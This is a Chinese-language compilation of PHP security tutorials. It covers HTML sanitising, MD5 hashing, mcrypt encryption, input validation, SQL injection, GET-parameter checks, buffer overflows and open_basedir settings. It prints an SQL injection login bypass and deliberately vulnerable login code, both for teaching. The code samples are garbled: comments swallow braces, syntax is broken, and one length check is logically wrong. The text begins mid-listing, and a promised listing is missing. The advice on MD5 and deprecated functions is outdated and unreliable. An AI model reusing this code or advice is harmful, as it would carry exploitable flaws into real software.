" ;// Create a safehtml object.$safehtml = new safehtml();// Parse and sanitize the data.$safe_data = $safehtml ->parse( $data );// Display result. echo 'The sanitized data is ' . $safe_data ;
?>
SafeHTML並不能完全防止XSS攻擊,只是一個相對復雜的腳本來檢驗的方式。
使用單向HASH加密方式來保護數據
單向hash加密保證對每個用戶的密碼都是唯一的,而且不能被破譯的,只有最終用戶知道密碼,系統也是不知道原始密碼的。這樣的一個好處是在系統被攻擊後攻擊者也無法知道原始密碼數據。加密和Hash是不同的兩個過程。與加密不同,Hash是無法被解密的,是單向的;同時兩個不同的字元串可能會得到同一個hash值,並不能保證hash值的唯一性。MD5函數處理過的hash值基本不能被破解,但是總是有可能性的,而且網上也有MD5的hash字典。
使用mcrypt加密數據MD5 hash函數可以在可讀的表單中顯示數據,但是對於存儲用戶的信用卡信息的時候,需要進行加密處理後存儲,並且需要之後進行解密。最好的方法是使用mcrypt模塊,這個模塊包含了超過30中加密方式來保證只有加密者才能解密數據。
<?php$data = "Stuff you want encrypted" ;
$key = "Secret passphrase used to encrypt your data" ;
$cipher = "MCRYPT_SERPENT_256" $mode = "MCRYPT_MODE_CBC" ;function encrypt( $data, $key , cipher , $mode ) {// Encrypt datareturn (string) base64_encode ( mcrypt_encrypt ( $cipher , substr (md5( $key ),0,mcrypt_get_key_size( $cipher , $mode )), $data , $mode , substr (md5( $key ),0,mcrypt_get_block_size( $cipher , $mode )) ) );
}function decrypt( $data , $key ,$cipher , $mode ) {// Decrypt data
return (string) mcrypt_decrypt ( $cipher , substr (md5( $key ),0,mcrypt_get_key_size( $cipher , $mode )), base64_decode ( $data ), $mode , substr (md5( $key ),0,mcrypt_get_block_size( $cipher , $mode )) );
}?>
mcrypt函數需要以下信息:
1、待加密數據
2、用來加密和解密數據的key
3、用戶選擇的加密數據的特定演算法(cipher:
如 MCRYPT_TWOFISH192
,MCRYPT_SERPENT_256, MCRYPT_RC2
, MCRYPT_DES
, and MCRYPT_LOKI97
)
4、用來加密的模式
5、加密的種子,用來起始加密過程的數據,是一個額外的二進制數據用來初始化加密演算法
6、加密key和種子的長度,使用mcrypt_get_key_size函數和mcrypt_get_block_size函數可以獲取如果數據和key都被盜取,那麼攻擊者可以遍歷ciphers尋找開行的方式即可,因此我們需要將加密的key進行MD5一次後保證安全性。同時由於mcrypt函數返回的加密數據是一個二進制數據,這樣保存到資料庫欄位中會引起其他錯誤,使用了base64encode將這些數據轉換為了十六進制數方便保存。
;5. php有什麼安全規則,有哪些
php安全篇值過濾用戶輸入的人參數
規則 1:絕不要信任外部數據或輸入
關於Web應用程序安全性,必須認識到的第一件事是不應該信任外部數據。外部數據(outside data) 包括不是由程序員在PHP代碼中直接輸入的任何數據。在採取措施確保安全之前,來自任何其他來源(比如 GET 變數、表單 POST、資料庫、配置文件、會話變數或 cookie)的任何數據都是不可信任的。
例如,下面的數據元素可以被認為是安全的,因為它們是在PHP中設置的。
復制代碼 代碼如下:
<?php
$myUsername = 'tmyer';
$arrayUsers = array('tmyer', 'tom', 'tommy');define(」GREETING」, 'hello there' . $myUsername);?>
但是,下面的數據元素都是有瑕疵的。
清單 2. 不安全、有瑕疵的代碼
復制代碼 代碼如下:
<?php
$myUsername = $_POST['username']; //tainted!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //tainted!
define(」GREETING」, 'hello there' . $myUsername); //tainted!
?>
為 什麼第一個變數 $myUsername 是有瑕疵的?因為它直接來自表單 POST。用戶可以在這個輸入域中輸入任何字元串,包括用來清除文件或運行以前上傳的文件的惡意命令。您可能會問,「難道不能使用只接受字母 A-Z 的客戶端(Javascrīpt)表單檢驗腳本來避免這種危險嗎?」是的,這總是一個有好處的步驟,但是正如在後面會看到的,任何人都可以將任何錶單下載 到自己的機器上,修改它,然後重新提交他們需要的任何內容。
解決方案很簡單:必須對 $_POST['username'] 運行清理代碼。如果不這么做,那麼在使用 $myUsername 的任何其他時候(比如在數組或常量中),就可能污染這些對象。
對用戶輸入進行清理的一個簡單方法是,使用正則表達式來處理它。在這個示例中,只希望接受字母。將字元串限制為特定數量的字元,或者要求所有字母都是小寫的,這可能也是個好主意。
清單 3. 使用戶輸入變得安全
復制代碼 代碼如下:
<?php
$myUsername = cleanInput($_POST['username']); //clean!
$arrayUsers = array($myUsername, 'tom', 'tommy'); //clean!
define(」GREETING」, 'hello there' . $myUsername); //clean!
function cleanInput($input){
$clean = strtolower($input);
$clean = preg_replace(」/[^a-z]/」, 「」, $clean);$clean = substr($clean,0,12);
return $clean;
}
?>
規則 2:禁用那些使安全性難以實施的 PHP 設置已經知道了不能信任用戶輸入,還應該知道不應該信任機器上配置 PHP 的方式。例如,要確保禁用 register_globals。如果啟用了 register_globals,就可能做一些粗心的事情,比如使用 $variable 替換同名的 GET 或 POST 字元串。通過禁用這個設置,PHP 強迫您在正確的名稱空間中引用正確的變數。要使用來自表單 POST 的變數,應該引用 $_POST['variable']。這樣就不會將這個特定變數誤會成 cookie、會話或 GET 變數。
規則 3:如果不能理解它,就不能保護它
一些開發人員使用奇怪的語法,或者將語句組織得很緊湊,形成簡短但是含義模糊的代碼。這種方式可能效率高,但是如果您不理解代碼正在做什麼,那麼就無法決定如何保護它。
例如,您喜歡下面兩段代碼中的哪一段?
清單 4. 使代碼容易得到保護
復制代碼 代碼如下:
<?php
//obfuscated code
$input = (isset($_POST['username']) ? $_POST['username']:」);//unobfuscated code
$input = 」;
if (isset($_POST['username'])){
$input = $_POST['username'];
}else{
$input = 」;
}
?>
在第二個比較清晰的代碼段中,很容易看出 $input 是有瑕疵的,需要進行清理,然後才能安全地處理。
規則 4:「縱深防禦」 是新的法寶
本教程將用示例來說明如何保護在線表單,同時在處理表單的 PHP 代碼中採用必要的措施。同樣,即使使用 PHP regex 來確保 GET 變數完全是數字的,仍然可以採取措施確保 SQL 查詢使用轉義的用戶輸入。
縱深防禦不只是一種好思想,它可以確保您不會陷入嚴重的麻煩。
既然已經討論了基本規則,現在就來研究第一種威脅:SQL 注入攻擊。
防止 SQL 注入攻擊
在 SQL 注入攻擊 中,用戶通過操縱表單或 GET 查詢字元串,將信息添加到資料庫查詢中。例如,假設有一個簡單的登錄資料庫。這個資料庫中的每個記錄都有一個用戶名欄位和一個密碼欄位。構建一個登錄表單,讓用戶能夠登錄。
清單 5. 簡單的登錄表單
復制代碼 代碼如下:
<html>
<head>
<title>Login</title>
</head>
<body>
<form action=」verify.php」 method=」post」>
<p><label for='user'>Username</label>
<input type='text' name='user' id='user'/>
</p>
<p><label for='pw'>Password</label>
<input type='password' name='pw' id='pw'/>
</p>
<p><input type='submit' value='login'/></p>
</form>
</body>
</html>
這個表單接受用戶輸入的用戶名和密碼,並將用戶輸入提交給名為 verify.php 的文件。在這個文件中,PHP 處理來自登錄表單的數據,如下所示:
清單 6. 不安全的 PHP 表單處理代碼
復制代碼 代碼如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = 「select count(*) as ctr from users where username='」.$username.」' and password='」. $pw.」' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(」index.php」);
}else{
header(」login.php」);
}
?>
這 段代碼看起來沒問題,對嗎?世界各地成百(甚至成千)的 PHP/MySQL 站點都在使用這樣的代碼。它錯在哪裡?好,記住 「不能信任用戶輸入」。這里沒有對來自用戶的任何信息進行轉義,因此使應用程序容易受到攻擊。具體來說,可能會出現任何類型的 SQL 注入攻擊。
例如,如果用戶輸入 foo 作為用戶名,輸入 ' or '1′='1 作為密碼,那麼實際上會將以下字元串傳遞給 PHP,然後將查詢傳遞給 MySQL:
復制代碼 代碼如下:
<?php
$sql = 「select count(*) as ctr from users where username='foo' and password=」 or '1′='1′ limit 1″;?>
這個查詢總是返回計數值 1,因此 PHP 會允許進行訪問。通過在密碼字元串的末章節附註入某些惡意 SQL,黑客就能裝扮成合法的用戶。
解 決這個問題的辦法是,將 PHP 的內置 mysql_real_escape_string() 函數用作任何用戶輸入的包裝器。這個函數對字元串中的字元進行轉義,使字元串不可能傳遞撇號等特殊字元並讓 MySQL 根據特殊字元進行操作。清單 7 展示了帶轉義處理的代碼。
清單 7. 安全的 PHP 表單處理代碼
復制代碼 代碼如下:
<?php
$okay = 0;
$username = $_POST['user'];
$pw = $_POST['pw'];
$sql = 「select count(*) as ctr from users where username='」.mysql_real_escape_string($username).」' and password='」. mysql_real_escape_string($pw).」' limit 1″;$result = mysql_query($sql);
while ($data = mysql_fetch_object($result)){if ($data->ctr == 1){
//they're okay to enter the application!
$okay = 1;
}
}
if ($okay){
$_SESSION['loginokay'] = true;
header(」index.php」);
}else{
header(」login.php」);
}
?>
使用 mysql_real_escape_string() 作為用戶輸入的包裝器,就可以避免用戶輸入中的任何惡意 SQL 注入。如果用戶嘗試通過 SQL 注入傳遞畸形的密碼,那麼會將以下查詢傳遞給資料庫:
select count(*) as ctr from users where username='foo' and password='\' or \'1\'=\'1′ limit 1″資料庫中沒有任何東西與這樣的密碼匹配。僅僅採用一個簡單的步驟,就堵住了 Web 應用程序中的一個大漏洞。這里得出的經驗是,總是應該對 SQL 查詢的用戶輸入進行轉義。
但是,還有幾個安全漏洞需要堵住。下一項是操縱 GET 變數。
防止用戶操縱 GET 變數
在前一節中,防止了用戶使用畸形的密碼進行登錄。如果您很聰明,應該應用您學到的方法,確保對 SQL 語句的所有用戶輸入進行轉義。
但 是,用戶現在已經安全地登錄了。用戶擁有有效的密碼,並不意味著他將按照規則行事 —— 他有很多機會能夠造成損害。例如,應用程序可能允許用戶查看特殊的內容。所有鏈接指向 template.php?pid=33 或 template.php?pid=321 這樣的位置。URL 中問號後面的部分稱為查詢字元串。因為查詢字元串直接放在 URL 中,所以也稱為 GET 查詢字元串。
在 PHP 中,如果禁用了 register_globals,那麼可以用 $_GET['pid'] 訪問這個字元串。在 template.php 頁面中,可能會執行與清單 8 相似的操作。
清單 8. 示例 template.php
復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
這 里有什麼錯嗎?首先,這里隱含地相信來自瀏覽器的 GET 變數 pid 是安全的。這會怎麼樣呢?大多數用戶沒那麼聰明,無法構造出語義攻擊。但是,如果他們注意到瀏覽器的 URL 位置域中的 pid=33,就可能開始搗亂。如果他們輸入另一個數字,那麼可能沒問題;但是如果輸入別的東西,比如輸入 SQL 命令或某個文件的名稱(比如 /etc/passwd),或者搞別的惡作劇,比如輸入長達 3,000 個字元的數值,那麼會發生什麼呢?
在這種情況下,要記住基本規則,不要信任用戶輸入。應用程序開發人員知道 template.php 接受的個人標識符(PID)應該是數字,所以可以使用 PHP 的 is_numeric()函數確保不接受非數字的 PID,如下所示:
清單 9. 使用 is_numeric() 來限制 GET 變數復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (is_numeric($pid)){
//we create an object of a fictional class Page$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page}else{
//didn't pass the is_numeric() test, do something else!
}
?>
這個方法似乎是有效的,但是以下這些輸入都能夠輕松地通過 is_numeric() 的檢查:
100 (有效)
100.1 (不應該有小數位)
+0123.45e6 (科學計數法 —— 不好)
0xff33669f (十六進制 —— 危險!危險!)那麼,有安全意識的 PHP 開發人員應該怎麼做呢?多年的經驗表明,最好的做法是使用正則表達式來確保整個 GET 變數由數字組成,如下所示:
清單 10. 使用正則表達式限制 GET 變數
復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(」^[0-9]+$」,$pid)){
//do something appropriate, like maybe logging them out or sending them back to home page}
}else{
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//moderately protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
需 要做的只是使用 strlen() 檢查變數的長度是否非零;如果是,就使用一個全數字正則表達式來確保數據元素是有效的。如果 PID 包含字母、斜線、點號或任何與十六進制相似的內容,那麼這個常式捕獲它並將頁面從用戶活動中屏蔽。如果看一下 Page 類幕後的情況,就會看到有安全意識的 PHP 開發人員已經對用戶輸入 $pid 進行了轉義,從而保護了 fetchPage() 方法,如下所示:
清單 11. 對 fetchPage() 方法進行轉義
復制代碼 代碼如下:
<?php
class Page{
function fetchPage($pid){
$sql = 「select pid,title,desc,kw,content,status from page where pid='」.mysql_real_escape_string($pid).」'」;}
}
?>
您可能會問,「既然已經確保 PID 是數字,那麼為什麼還要進行轉義?」 因為不知道在多少不同的上下文和情況中會使用 fetchPage() 方法。必須在調用這個方法的所有地方進行保護,而方法中的轉義體現了縱深防禦的意義。
如 果用戶嘗試輸入非常長的數值,比如長達 1000 個字元,試圖發起緩沖區溢出攻擊,那麼會發生什麼呢?下一節更詳細地討論這個問題,但是目前可以添加另一個檢查,確保輸入的 PID 具有正確的長度。您知道資料庫的 pid 欄位的最大長度是 5 位,所以可以添加下面的檢查。
清單 12. 使用正則表達式和長度檢查來限制 GET 變數復制代碼 代碼如下:
<?php
$pid = $_GET['pid'];
if (strlen($pid)){
if (!ereg(」^[0-9]+$」,$pid) && strlen($pid) > 5){//do something appropriate, like maybe logging them out or sending them back to home page}
} else {
//empty $pid, so send them back to the home page}
//we create an object of a fictional class Page, which is now//even more protected from evil user input$obj = new Page;
$content = $obj->fetchPage($pid);
//and now we have a bunch of PHP that displays the page?>
現在,任何人都無法在資料庫應用程序中塞進一個 5,000 位的數值 —— 至少在涉及 GET 字元串的地方不會有這種情況。想像一下黑客在試圖突破您的應用程序而遭到挫折時咬牙切齒的樣子吧!而且因為關閉了錯誤報告,黑客更難進行偵察。
緩沖區溢出攻擊
緩沖區溢出攻擊 試圖使 PHP 應用程序中(或者更精確地說,在 Apache 或底層操作系統中)的內存分配緩沖區發生溢出。請記住,您可能是使用 PHP 這樣的高級語言來編寫 Web 應用程序,但是最終還是要調用 C(在 Apache 的情況下)。與大多數低級語言一樣,C 對於內存分配有嚴格的規則。
緩沖區溢出攻擊向緩沖區發送大量數據,使部分數據溢出到相鄰的內存緩沖區,從而破壞緩沖區或者重寫邏輯。這樣就能夠造成拒絕服務、破壞數據或者在遠程伺服器上執行惡意代碼。
防止緩沖區溢出攻擊的惟一方法是檢查所有用戶輸入的長度。例如,如果有一個表單元素要求輸入用戶的名字,那麼在這個域上添加值為 40 的 maxlength 屬性,並在後端使用 substr() 進行檢查。清單 13 給出表單和 PHP 代碼的簡短示例。
6. php配置防跨站、防跨目錄安全
現在很多網站都是採用php建站,不少都是直接使用現在成熟的cms程序,這些php開發的cms系統本身安全性可能並不高,這時就需要我們在伺服器做一些針對php程序配置防跨站、防跨目錄等一些設置,可以有效的防止伺服器上所有的php網站被惡意篡改。
適用范圍及演示系統
適用范圍:php5.3及以上版本
演示系統:centos
防跨站、防跨目錄安全設置方法
第1步:登錄到linux系統終端。
第2步:找到並打開php配置文件。
第3步:在php.ini最底部添加以下代碼,並保存。大家可就按以下代碼改成自己網站的配置即可。
[HOST=www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
[PATH=/wwwroot/www.45it.com]
open_basedir=/wwwroot/www.45it.com/:/tmp/
註:就如上代碼添加完之後就是防跨站防跨目錄的安全配置了,但是有一些缺點,就是比如說我們運行一些php探針等一些程序可能就是無法正常運行了,如果想讓網站正常運行php探針的話需要在/tmp/後加上:/proc/
第4步:添加完代碼並保存php.ini,之後重啟php服務即可生效。